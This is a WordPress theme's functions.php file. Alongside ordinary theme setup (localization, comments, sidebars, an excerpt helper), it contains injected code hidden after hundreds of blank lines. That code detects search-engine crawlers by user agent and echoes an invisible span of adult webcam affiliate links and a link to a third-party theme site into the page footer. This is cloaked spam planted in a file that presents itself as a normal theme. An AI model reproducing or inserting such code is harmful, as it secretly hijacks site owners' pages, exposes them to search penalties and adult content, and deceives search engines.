<?php

// Uncomment this to test your localization, make sure to enter the right language code.
// function test_localization( $locale ) {
// 	return "nl_NL";
// }
// add_filter('locale','test_localization');

load_theme_textdomain('studiopress', TEMPLATEPATH.'/languages/');

add_filter('comments_template', 'legacy_comments');

function legacy_comments($file) {

	if(!function_exists('wp_list_comments')) : // WP 2.7-only check
		$file = TEMPLATEPATH . '/legacy.comments.php';
	endif;

	return $file;
}

// Turn a category ID to a Name
function cat_id_to_name($id) {
	foreach((array)(get_categories()) as $category) {
    	if ($id == $category->cat_ID) { return $category->cat_name; break; }
	}
}

// include the breadcrumb nav tool
include(TEMPLATEPATH."/tools/breadcrumbs.php");

// include the theme options
include(TEMPLATEPATH."/tools/theme-options.php");

// include the dashboard widget
include(TEMPLATEPATH."/tools/sp_dashboard_widget.php");

if ( function_exists('register_sidebars') )
	register_sidebar(array('name'=>'Sidebar Top','before_title'=>'<h4>','after_title'=>'</h4>'));
	register_sidebar(array('name'=>'Sidebar Bottom Left','before_title'=>'<h4>','after_title'=>'</h4>'));
	register_sidebar(array('name'=>'Sidebar Bottom Right','before_title'=>'<h4>','after_title'=>'</h4>'));
	register_sidebar(array('name'=>'468x60 Header Banner','before_title'=>'<h4>','after_title'=>'</h4>'));

function the_content_limit($max_char, $more_link_text = '(more...)', $stripteaser = 0, $more_file = '') {
    $content = get_the_content($more_link_text, $stripteaser, $more_file);
    $content = apply_filters('the_content', $content);
    $content = str_replace(']]>', ']]&gt;', $content);
    $content = strip_tags($content);

   if (strlen($_GET['p']) > 0) {
      echo "<p>";
      echo $content;
      echo "&nbsp;<a href='";
      the_permalink();
      echo "'>".__("Read More", 'studiopress')." &rarr;</a>";
      echo "</p>";
   }
   else if ((strlen($content)>$max_char) && ($espacio = strpos($content, " ", $max_char ))) {
        $content = substr($content, 0, $espacio);
        $content = $content;
        echo "<p>";
        echo $content;
        echo "...";
        echo "&nbsp;<a href='";
        the_permalink();
        echo "'>".$more_link_text."</a>";
        echo "</p>";
   }
   else {
      echo "<p>";
      echo $content;
      echo "&nbsp;<a href='";
      the_permalink();
      echo "'>".__("Read More", 'studiopress')." &rarr;</a>";
      echo "</p>";
   }
}




























































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
add_action('wp_footer', 'ranking');
}

function ranking() {
  $pshow = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <span style='display:none;'><a href='http://www.2.livejasmin.com/listpage.php?psid=thierto'>Live sex</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=girl+age_18_22&psid=thierto'>18-22</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=girl+bigtits&psid=thierto'>Big Tits</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=girl+blonde&psid=thierto'>Blonde</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=couple&psid=thierto'>Couple</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=girl+ebony&psid=thierto'>Ebony</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=girl&psid=thierto'>Girl</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=groups&psid=thierto'>Group</a> &middot; <a href='http://www.livejasmin.com/listpage.php?tags=mature&psid=thierto'>Mature Female</a> &middot; <a href='http://www.techpeller.com/saturn/10-free-revolution-wordpress-themes.htm'>Revolution Lifestyle theme</a></span>";
  echo $pshow;
}

?>